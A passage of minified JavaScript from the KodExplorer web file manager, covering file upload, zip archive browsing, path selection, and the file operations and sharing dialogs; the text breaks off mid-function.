$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),Tips.tips("login error!",!1),void 0;if(e.serverData.data){var n=e.serverData.data;i=LNG[n]?LNG[n]:n}else e.serverData._raw&&(i=e.serverData._raw)}"http"==t&&(i=LNG.upload_error_http),file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(i).attr("title",i)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='<div class="upload-tips"> <div> <i class="icon-cloud cloud1 moveLeftLoop"></i> <i class="icon-cloud cloud2"></i> <i class="icon-cloud cloud3 moveLeftLoop"></i> </div> <div class="cloud-moveup"><i class="moveTopLoop icon-circle-arrow-up"></i></div> <div class="msg">'+LNG.upload_drag_tips+"</div> </div>";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,t,i){var a=$(i.DOM.wrap),n=t.frames.OpenpathSelectApi,o='<input type="text" class="path_select_input" readonly="true" disabled="true" />';"file"==e.type&&(o+='<span class="label label-primary">'+e.allowExt+"</span>"),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(t){var i=e.allowExt.split("|"),a=core.pathExt(t);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,i)?!0:!1},r=function(){var t=n.ui.fileLight.fileListSelect(),i=[];if(e.single){var a=$(t.get(0));if("all"==e.type&&0==t.length)i={file:[],folder:[]};else if("file"==e.type&&0==t.length)i=[];else if("folder"==e.type)i=[n.G.this_path],a.hasClass("folderBox")&&(i=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);i=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i={file:[o],folder:[]})}}else{var r=[],l=[];t.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?i=l:"file"==e.type?i=r:"all"==e.type&&(i={file:r,folder:l})}c(i)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(t){var i=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;t.length>r;r++)l(t[r])&&s.push(t[r]);t=s}if(0==t.length||"all"==e.type&&0==t.file.length&&0==t.folder.length)o.addClass("disable"),i.attr("result",""),i.val("");else{var c=hashEncode(jsonEncode(t)),d="";if(e.single)d=n.core.pathThis(t[0]);else{var p=t;"all"==e.type&&(p=t.folder.concat(t.file)),$.each(p,function(e,t){d+=n.core.pathThis(t)+", "})}o.removeClass("disable"),i.attr("result",c),i.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(t,i){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";t=$.extend(a,t),t.firstPath&&(n+="&path="+t.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:t.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof i){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?t.single&&"all"!=t.type?i(a[0]):i(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(t,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var t={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},i=function(t){var i="x-play-sound";0==$("."+i).length&&$('<div style="width:0px;height:0px;" class="'+i+'"></div>').appendTo("body");var a=G.static_path+"others/sound/"+t,n=e("./myPlayer");n.playSound(a,$("."+i))};return{playSoundFile:i,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){i(t[e])},100)}}}),define("app/common/core.zipView",[],function(){return function(e){var t,i={view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,t){var i=15,a=$("#"+t.tId+"_switch"),n=$("#"+t.tId+"_ico");a.remove(),t.iconSkin=t.tree_icon;var o=t.tree_icon;if(t.ext?o=t.ext:t.tree_icon||(o=t.type),n.before(a).before('<span id="'+t.tId+'_my_ico" class="tree_icon button">'+core.iconSmall(o)+"</span>").remove(),void 0!=t.ext&&n.attr("class","").addClass("file "+t.ext).removeAttr("style"),t.level>=1){var s="<span class='space' style='display: inline-block;width:"+i*t.level+"px'></span>";a.before(s)}var r='<span class="time">'+date(LNG.time_type,t.mtime)+"</span>";r+='<span class="size">'+core.fileSize(t.size)+"</span>",r+='<span class="menu_more icon-ellipsis-vertical"></span>',$("#"+t.tId+"_span").after(r),a.parent().addClass(t.menuType)}},callback:{onClick:function(e,i,a){$(e.target).hasClass("menu_more")||(t.selectNode(a),f(a),"folder"==a.type&&$("#"+a.tId+"_switch").click())},onCollapse:function(e,t){_(t)},onExpand:function(e,t){_(t)},beforeRightClick:function(e,i){i&&(f(i),t.selectNode(i))},onDblClick:function(e,i,a){$(e.target).hasClass(".menu_more")||"file"==a.type&&o("open",t)}}},a=function(e){for(var t=function(e){for(var i=0;e.length>i;i++)if(void 0!=e[i]){var a=e[i];e[i]={name:core.pathThis(a.filename),path:a.filename,isParent:!!a.child,type:a.folder?"folder":"file",menuType:a.folder?"menuZipListFolder":"menuZipListFile",ext:core.pathExt(a.filename),mtime:a.mtime,index:a.index,size:a.size,child:a.child},a.folder&&delete e[i].ext,e[i].child?(e[i].children=e[i].child,delete e[i].child,t(e[i].children)):delete e[i].child}else delete e[i]},i={},a=0;e.length>a;a++)"string"!=typeof e[a].filename&&e[a].stored_filename&&(e[a].filename=e[a].stored_filename),"string"==typeof e[a].filename&&(e[a].filename=e[a].filename.replace(/\\/g,"/"),i[e[a].filename]=e[a]);for(var n in i)if(!i[n].folder)for(var o=core.pathFather(i[n].filename);""!=o&&"/"!=o&&!i[o]&&!i[rtrim(o,"/")];)i[o]={filename:o,folder:!0,mitme:0,size:0,index:-1},o=core.pathFather(o);var s=[];for(var n in i){var r=i[n],l=core.pathFather(r.filename);if(i[l]&&(l=core.pathFather(r.filename)),i[rtrim(l,"/")]&&(l=rtrim(l,"/")),i[l])i[l].child||(i[l].child=[]),i[l].child.push(i[r.filename]);else{var c=i[r.filename];c&&s.push(c)}}return t(s),s},n=function(){$.contextMenu({selector:".menuZipListFolder",className:"menuZipListFolder",zIndex:9999,callback:function(e){o(e)},items:{unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$.contextMenu({selector:".menuZipListFile",className:"menuZipListFile",zIndex:9999,callback:function(e){o(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep1:"--------",unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$(".menuZipListFile .menu_more,.menuZipListFolder .menu_more").die("click").live("click",function(e){var t=$(this).offset();t.top+=$(this).outerHeight(),$(this).contextMenu({x:e.pageX,y:t.top})})},o=function(e,t){if(void 0==t){var i=$(".context-menu-active").parents(".ztree");if(0==i.length)return;t=$.fn.zTree.getZTreeObj(i.attr("id"))}var a=t.getSelectedNodes()[0];switch(e){case"open":c(t,a);break;case"down":l(t,a);break;case"unzip_this":p(t,a);break;case"unzip_to":d(t,a);break;case"info":h(t,a);break;default:}},s={file_num:0,folder_num:0,size:0},r=function(e){if("folder"==e.type){if(s.folder_num++,e.children)for(var t=0;e.children.length>t;t++)r(e.children[t])}else s.file_num++,s.size+=parseInt(e.size)},l=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,a=i+"&download=1&index="+t.index;ui.pathOpen.downloadUrl(a)},c=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,a=i+"&index="+t.index+"&name=/"+urlEncode(t.path),n=t.ext;"zip"==n&&(n="unknow"),t.size>=31457280&&(Tips.tips(LNG.zipview_file_big,"warning"),n="unknow"),ui.pathOpen.open(a,n)},d=function(e,t){core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(i){p(e,t,i)})},p=function(e,t,i){var a=e.setting.filePath;e.setting.fileUrl,void 0==i&&(i=G.this_path,void 0==i&&(i=core.pathFather(a)));var n="./index.php?explorer/unzip";$.ajax({url:n,data:{path:a,path_to:i,unzip_part:t.index},type:"POST",dataType:"json",beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){return Tips.close(e),"editor"==Config.pageApp?(ui.tree.refreshPath(core.pathFather(a)),void 0):(ui.f5(!0,!0,function(){var e=i+core.pathThis(t.path);ui.path.setSelectByFilename(e)}),void 0)}})},f=function(e){var t=u(e),i=LNG.size+" "+t.size_friendly+" ("+t.size+" Byte)";"folder"==e.type&&(i=t.file_num+LNG.file+","+t.folder_num+LNG.folder+", "+i),$("#"+e.tId).parents(".zipViewContent").find(".bottom .info").html(i)},u=function(e){var t={name:e.name,path:e.path,size:e.size,size_friendly:core.fileSize(e.size),mtime:date(LNG.time_type_info,e.mtime)};return 0==e.level&&(t.path=t.name),"folder"==e.type&&(s={file_num:0,folder_num:0,size:0},r(e),$.extend(t,s),t.size_friendly=core.fileSize(t.size)),t},h=function(e,t){var i="folder"==t.type?"folder":core.pathExt(t.path),a="folder"==t.type?tpl_path_info:tpl_file_info,n=template.compile(a),o=u(t);o.LNG=LNG,$.dialog({id:UUID(),padding:5,ico:core.iconSmall(i),fixed:!0,title:core.pathThis(t.path),content:n(o),ok:!0})},m=function(e,t){var i=template.compile(tpl_zipview),a=i({LNG:LNG,treeID:e}),n=$.dialog({className:"zipViewDialog",ico:core.icon("zip"),title:t,width:550,height:420,content:a,resize:!0,padding:0,fixed:!0}),o=15*$(".zipViewContent").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},_=function(e){$("#"+e).find("ul:visible > li > a").each(function(e){$(this).removeClass("odd"),0==e%2&&$(this).addClass("odd")})},v=function(e,o){var s=a(o),r="folderListZip"+UUID();s=ui.tree.treeDataSort(s),m(r,e),n(),s={name:e,ext:"zip",mtime:"",isParent:!0,open:!0,children:s,type:"folder",path:"",index:"-1",menuType:"menuZipListFolder"},$.fn.zTree.init($("#"+r),i,s),t=$.fn.zTree.getZTreeObj(r),_(r),f(t.getNodeByParam("index","-1",null))},g=function(e){var i="explorer/unzipList&access_token="+G.access_token+"&path="+urlEncode(e);return G.share_page!==void 0?(i="share/unzipList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e),ui.pathOpen.openUnknow(e),void 0):(i=G.app_host+"index.php?"+i,$.ajax({url:i,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(a){Tips.close(a),a.code?(v(core.pathThis(e),a.data),t.setting.filePath=e,t.setting.fileUrl=i):ui.pathOpen.openUnknow(e,a.data)}}),void 0)};g(e)}}),define("app/common/tpl/copyright.html",[],'<div class="copyright_dialog_content">\n <div class="title">\n <div class="logo"><i class="icon-cloud"></i>{{if core.versionType==\'A\'}}KodExplorer {{else}} {{LNG.kod_name}} {{/if}} v{{G.version}}</div>\n <div class=\'info\'>——{{LNG.kod_name_copyright}}</div>\n </div>\n <div class="content">\n <p>{{#LNG.copyright_desc}}</p>\n <div>{{#LNG.copyright_contact}}</div>\n <div>{{#LNG.copyright_info}}</div> \n </div>\n</div>\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/src/explorer_wap/path",["../../common/pathOperate","../../common/pathOpen","../../common/myPlayer"],function(e){var t=e("../../common/pathOperate"),a=e("../../common/pathOpen"),n=function(e,t,i){if(void 0!=e){if(e==G.this_path)return void 0!=t&&""!=t&&Tips.tips(LNG.path_is_current,"info"),void 0;G.this_path=e.replace(/\\/g,"/"),G.this_path=e.replace(/\/+/g,"/"),"/"!=G.this_path.substr(G.this_path.length-1)&&(G.this_path+="/");var a=window.location.origin+window.location.pathname+window.location.search;window.location.href=a+"#"+urlEncode(G.this_path),ui.f5Callback(function(){"function"==typeof i&&i()})}},o=function(e,t){if(void 0!=e){if("folder"==t)return ui.path.list(e+"/"),void 0;var i=core.path2url(e),n=["pdf","html","htm"];if("oexe"==t)if("string"==typeof e){var o=e;"string"!=typeof e&&(o=e.content.split("'")[1]),core.fileGet(o,function(e){var t=jsonDecode(e);t.name=core.pathThis(o),core.openApp(t)})}else core.openApp(e);else if("pdf"==t){var i="./lib/plugins/pdfjs/web/viewer.html?file="+urlEncode(core.path2url(e));window.location.href=i}else if(inArray(core.filetype.music,t)||inArray(core.filetype.movie,t)){var s=navigator.userAgent.indexOf("Android")>-1||navigator.userAgent.indexOf("Adr")>-1;if(s){a.play([{url:i,name:urlDecode(core.pathThis(e)),ext:t}]);try{setTimeout(function(){$.artDialog.list.movie_player_dialog&&$.artDialog.list.movie_player_dialog._clickMax()},500)}catch(r){}}else window.location.href=i}else if(inArray(core.filetype.doc,t)){var i="./index.php?explorer/officeView&access_token="+G.access_token+"&path="+urlEncode(e);G.share_page!==void 0&&(i=G.app_host+"index.php?share/officeView&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),window.location.href=i}else if(inArray(n,t))window.location.href=i;else if(inArray(core.filetype.text,t)){var i=G.app_host+"index.php?editor/edit#filename="+urlEncode(e);G.share_page!==void 0&&(i=G.app_host+"index.php?share/edit&user="+G.user+"&sid="+G.sid+"#filename="+urlEncode(e)),window.location.href=i}else if(inArray(core.filetype.image,t))ui.openImage(e);else{var i=G.app_host+"index.php?explorer/fileDownload&path="+urlEncode(e);G.share_page!==void 0&&(i=G.app_host+"index.php?share/fileDownload&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e));var l='<div class="unknow_file" style="width:200px;word-break: break-all;"><span>'+LNG.unknow_file_tips+"<br/>"+'</span><br/><a class="btn btn-success btn-sm" href="'+i+'"> '+LNG.unknow_file_download+" </a></div>";$.dialog({fixed:!0,icon:"warning",width:30,lock:!0,background:"#000",opacity:.2,title:LNG.unknow_file_title,padding:10,content:l,cancel:!0})}}},s=function(e,t,a){var n=e.length;for(i=0;n>i;i++)if(e[i][t]==a)return e[i]},r=function(e){var t="",i=0;return null!=G.json_data.filelist&&(t=s(G.json_data.filelist,"name",e),null!=t&&(i=1)),null!=G.json_data.folderlist&&(t=s(G.json_data.folderlist,"name",e),null!=t&&(i=1)),i},l=function(e,t){var i,a=0;if(void 0==t){if(!r(e))return e;for(i=e+"(0)";r(i);)a++,i=e+"("+a+")";return i}if(!r(e+"."+t))return e+"."+t;for(i=e+"(0)."+t;r(i);)a++,i=e+"("+a+")."+t;return i},c=function(){$.dialog.prompt("",function(e){t.newFolder(G.this_path+e,function(){ui.f5()})},l("folder"))},d=function(){$.dialog.prompt("",function(e){t.newFile(G.this_path+e,function(){ui.f5()})},l("file","txt"))},p=function(e){$.dialog.prompt("",function(i){var a=core.pathFather(e)+i;t.rname(e,a,function(){ui.f5()})},core.pathThis(e))},f=function(e,t,i){return"folder"!=i&&(i="file"),e?[{path:t,type:i}]:{path:t,type:i}};return{pathOperate:t,pathOpen:a,download:function(e,i){"folder"==i?t.zipDownload([{path:e,type:"folder"}]):a.download(e)},remove:function(e,i){t.remove(f(!0,e,i),ui.f5)},copy:function(e,i){t.copy(f(!0,e,i))},cute:function(e,i){t.cute(f(!0,e,i),ui.f5)},info:function(e,i){t.info(f(!0,e,i))},past:function(){t.past(G.this_path,ui.f5)},open:o,list:n,newFolder:c,newFile:d,rname:p}}),define("app/common/pathOperate",[],function(e){var t=["/","\\",":","*","?",'"',"<",">","|"],i=["/","\\"],a=function(e){var a=function(e,t){for(var i=t.length,a=0;i>a;a++)if(e.indexOf(t[a])>0)return!0;return!1},n=i;return G.system_os&&"windows"==G.system_os&&(n=t),a(e,n)?(Tips.tips(LNG.path_not_allow+": "+n.join(", "),!1),!1):!0},n=function(e){for(var t=[],i=function(e){return e?e.replace(/"/g,'\\\\"'):e},a=0;e.length>a;a++)t.push({type:i(e[a].type),path:urlEncode(i(e[a].path))});return"data_arr="+jsonEncode(t)},o=function(e,t){for(var i="0123456789零一二三四五六七八九十百千万壹贰叁肆伍陆柒捌玖拾佰仟万",a=0;Math.max(e.length,t.length)>a;a++)if(e.charAt(a)!=t.charAt(a)){var n=i.indexOf(e.charAt(a)),o=i.indexOf(t.charAt(a));return-1!=n&&-1!=o?n>o?1:o>n?-1:0:e.charAt(a)>t.charAt(a)?1:e.charAt(a)<t.charAt(a)?-1:0}return 0},s=function(e,t){if(void 0==e||void 0==t)return 0;var i=/([0-9\.]+)/g,a=(""+e).toLowerCase()||"",n=(""+t).toLowerCase()||"",s=String.fromCharCode(0),r=a.replace(i,s+"$1"+s).split(s),l=n.replace(i,s+"$1"+s).split(s),c=new Date(a).getTime(),d=c?new Date(n).getTime():null;if(d){if(d>c)return-1;if(c>d)return 1}for(var p=0,f=Math.max(r.length,l.length);f>p;p++)if(oFxNcL=parseFloat(r[p])||r[p],oFyNcL=parseFloat(l[p])||l[p],oFxNcL!=oFyNcL)if("string"==typeof oFxNcL&&"string"==typeof oFyNcL){var u=o(oFxNcL,oFyNcL);if(0!=u)return u}else{if(oFyNcL>oFxNcL)return-1;if(oFxNcL>oFyNcL)return 1}return 0},r=function(e,t){if(e){var i=core.pathThis(e);return a(i)?($.ajax({dataType:"json",url:"index.php?explorer/mkfile&path="+urlEncode(e),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&e&&e.info&&t(e.info)}}),void 0):("function"==typeof t&&t(),void 0)}},l=function(e,t){if(e){var i=core.pathThis(e);return a(i)?($.ajax({dataType:"json",url:"index.php?explorer/mkdir&path="+urlEncode(e),beforeSend:function(){"function"==typeof t&&Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&e&&e.info&&t(e.info)}}),void 0):("function"==typeof t&&t(),void 0)}},c=function(e,t,i){return e&&t&&e!=t?a(core.pathThis(t))?($.ajax({type:"POST",dataType:"json",url:"index.php?explorer/pathRname",data:"path="+urlEncode(e)+"&rname_to="+urlEncode(t),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof i&&e&&e.info&&i(e.info)}}),void 0):("function"==typeof i&&i(),void 0):void 0},d=function(e,t,i,a){if(i=void 0==i?!1:i,a=void 0==a?!1:a,!(1>e.length)){var o=LNG.remove_title,s=LNG.remove_info,r="index.php?explorer/pathDelete",l=n(e);"share"==e[0].type&&(o=LNG.share_remove,s=LNG.share_remove_tips,r="index.php?userShare/del"),a&&(s=LNG.remove_info_force,o=LNG.remove_title_force,r+="&shiftDelete=1"),("recycle_clear"==e[0].type||G.USER_RECYCLE&&G.this_path==G.USER_RECYCLE||G.this_path==core.pathFather(G.myhome)+"recycle_kod/")&&(s=LNG.recycle_clear_info,r="index.php?explorer/pathDeleteRecycle",o=LNG.recycle_clear,"recycle_clear"==e[0].type&&(l={})),e.length>1&&(s+=' ... <span class="badge">'+e.length+"</span>");var c=function(){$.ajax({url:r,type:"POST",dataType:"json",data:l,beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(i){if(Tips.close(i),ShareData.frameTop("",function(e){e.ui.f5()}),"share"==e[0].type){G.self_share=i.info;var a=$.dialog.list.share_dialog;void 0!=a&&a.close()}o==LNG.recycle_clear?core.playSound("recycle_clear"):core.playSound("file_remove"),"function"==typeof t&&t(i)}})};i?c():$.dialog({id:"dialog_path_remove",fixed:!0,icon:"question",title:o,padding:"40px 80px 40px 30px",lock:!0,background:"#000",opacity:.1,content:s,ok:c,cancel:!0})}},p=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCopy",type:"POST",dataType:"json",data:n(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},f=function(e){var t=e.path,i=core.pathPre(t);if(i==G.KOD_GROUP_PATH||i==G.KOD_GROUP_SHARE||i==G.KOD_USER_SHARE)return Tips.tips(LNG.path_can_not_action,"warning"),void 0;var a="folder"==e.type?"folder":"file";1>t.length||core.authCheck("userShare:set")&&$.ajax({url:"./index.php?userShare/checkByPath&path="+urlEncode(t),dataType:"json",error:core.ajaxError,success:function(e){if(e.code)u(e.data);else{G.self_share=e.info;var i={path:t,type:a,name:core.pathThis(t)};h(i,function(e){e.code?(G.self_share=e.info,ui.f5(),u(e.data)):(Tips.tips(e),u(void 0,function(){$(".content_info input[name=type]").val(a),$(".content_info input[name=path]").val(t),$(".content_info input[name=name]").val(core.pathThis(t)+"(1)"),"file"==a&&($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden"))}))})}}})},u=function(t,i){0!=$(".share_dialog").length&&$(".share_dialog").shake(3,30,100),e.async(["lib/jquery.datetimepicker/jquery.datetimepicker.css","lib/jquery.datetimepicker/jquery.datetimepicker.js"],function(){m(t),void 0!=i&&i()})},h=function(e,t){$.ajax({url:"index.php?userShare/set",data:e,type:"POST",dataType:"json",beforeSend:function(){$(".share_create_button").addClass("disabled")},error:function(){Tips.tips(LNG.error,!1)},success:function(e){$(".share_create_button").removeClass("disabled"),void 0!=t&&t(e)}})},m=function(t){var i=e("./tpl/share.html"),a=template.compile(i),n=a({LNG:LNG});$.dialog({id:"share_dialog",simple:!0,resize:!1,width:425,title:LNG.share,padding:"0",fixed:!0,content:n});var o="zh-CN"==G.lang?"ch":"en";$("#share_time").datetimepicker({format:"Y/m/d",formatDate:"Y/m/d",timepicker:!1,lang:o}),$("#share_time").unbind("blur").bind("blur",function(e){stopPP(e)});var s=function(e){if($(".share_setting_more").addClass("hidden"),void 0==e)$(".share_has_url").addClass("hidden"),$(".share_action .share_remove_button").addClass("hidden"),$(".content_info input[name=sid]").val(""),$(".content_info input[name=type]").val(""),$(".content_info input[name=name]").val(""),$(".content_info input[name=show_name]").val(""),$(".content_info input[name=path]").val(""),$(".content_info input[name=time_to]").val(""),$(".content_info input[name=share_password]").val(""),$(".share_view_info").addClass("hidden");else{e.can_upload===void 0&&(e.can_upload=""),t=e,e.show_name||(e.show_name=e.name),$(".content_info input[name=sid]").val(e.sid),$(".content_info input[name=type]").val(e.type),$(".content_info input[name=name]").val(e.name),$(".content_info input[name=show_name]").val(e.show_name),$(".content_info input[name=path]").val(e.path),$(".content_info input[name=time_to]").val(e.time_to),$(".content_info input[name=share_password]").val(e.share_password),$(".share_view_info").removeClass("hidden"),e.num_download===void 0&&(e.num_download=0),e.num_view===void 0&&(e.num_view=0);var i=LNG.share_view_num+e.num_view+" "+LNG.share_download_num+e.num_download;$(".share_view_info").html(i),"1"==e.code_read?$(".content_info input[name=code_read]").attr("checked","checked"):$(".content_info input[name=code_read]").removeAttr("checked"),"1"==e.not_download?$(".content_info input[name=not_download]").attr("checked","checked"):$(".content_info input[name=not_download]").removeAttr("checked"),"1"==e.can_upload?$(".content_info input[name=can_upload]").attr("checked","checked"):$(".content_info input[name=can_upload]").removeAttr("checked"),$(".share_has_url").removeClass("hidden"),"file"==e.type?($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden")):($(".label_code_read").removeClass("hidden"),$(".label_can_upload").removeClass("hidden"));var a=e.type;"folder"==e.type&&(a=1==e.code_read?"code_read":"folder");var n=G.app_host+"index.php?share/"+a+"&user="+G.user_id+"&sid="+e.sid;$(".content_info .share_url").val(n),(e.time_to||e.share_password||e.can_upload||e.code_read||e.not_download)&&$(".share_setting_more").removeClass("hidden"),$(".share_remove_button").removeClass("hidden"),$(".share_create_button").text(LNG.share_save)}},r=function(){$(".share_action .share_remove_button").unbind("click").click(function(){d([{type:"share",path:t.sid}],function(){ui.f5()})}),$(".content_info .share_more").unbind("click").click(function(){$(".share_setting_more").toggleClass("hidden")}),$(".share_action .share_create_button").unbind("click").click(function(){var e="";$(".share_dialog .content_info input[name]").each(function(){var t=urlEncode($(this).val());"checkbox"==$(this).attr("type")&&(t=$(this).attr("checked")?"1":""),e+="&"+$(this).attr("name")+"="+t}),h(e,function(e){e.code?(Tips.tips(LNG.success,!0),G.self_share=e.info,ui.f5(),s(e.data),$(".share_create_button").text(LNG.share_save)):Tips.tips(e)})}),$(".content_info .open_window").unbind("click").bind("click",function(){window.open($("input.share_url").val())}),$(".content_info .qrcode").unbind("click").bind("click",function(){core.qrcode($("input.share_url").val())});var e=$("input.share_url"),i=e.get(0);e.unbind("hover click").bind("hover click",function(){$(this).focus();var t=e.val().length;if($.browser.msie){var a=i.createTextRange();a.moveEnd("character",-i.value.length),a.moveEnd("character",t),a.moveStart("character",0),a.select()}else i.setSelectionRange(0,t)})};s(t),r()},_=function(e){$.ajax({url:"index.php?setting/set&k=wall&v="+urlEncode(e),dataType:"json",success:function(e){Tips.tips(e)}})},v=function(e,t,i,a,n){if(console.log(e,t,i,a,n),!(1>e.length)){var o,s=G.my_desktop;a&&(s=core.pathFather(e)),o="folder"==i?"ui.path.list(hashDecode('"+hashEncode(e)+"'));":"ui.path.open(hashDecode('"+hashEncode(e)+"'));";var r=urlEncode(s+t+".oexe"),l=core.getPathIcon(e);""==l.icon&&(l.icon=i),$.ajax({url:"./index.php?explorer/mkfile&path="+r,type:"POST",dataType:"json",data:{content:jsonEncode({type:"app_link",content:o,icon:l.icon})},success:function(e){Tips.tips(e),e.code&&(ShareData.frameTop("",function(e){e.ui.f5()}),"function"==typeof n&&n(e.info))}})}},g=function(e,t){if(!(1>e.length)){var i=core.pathThis(e),a=core.pathFather(e);jsrun="core.explorerCode('"+urlEncode(e)+"');";var n=urlEncode(a+i+"_project.oexe");$.ajax({url:"./index.php?explorer/mkfile&path="+n,type:"POST",dataType:"json",data:'content={"type":"app_link","content":"'+jsrun+'","icon":"folder.png"}',success:function(e){e.code&&"function"==typeof t&&t(e.info)}})}},b=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCute",type:"POST",dataType:"json",data:n(e),error:core.ajaxError,success:function(e){Tips.tips(e) -}})},y=function(e,t){e&&(Tips.loading(LNG.moving),setTimeout(function(){var i="index.php?explorer/pathPast&path="+urlEncode(e);$.ajax({url:i,dataType:"json",error:core.ajaxError,success:function(e){Tips.close(e.data,e.code),"function"==typeof t&&t(e.info)}})},50))},x=function(t){var i={};i.file_info=e("./tpl/fileinfo/file_info.html"),i.path_info=e("./tpl/fileinfo/path_info.html"),i.path_info_more=e("./tpl/fileinfo/path_info_more.html"),1>t.length&&(t=[{path:G.this_path,type:"folder"}]);var 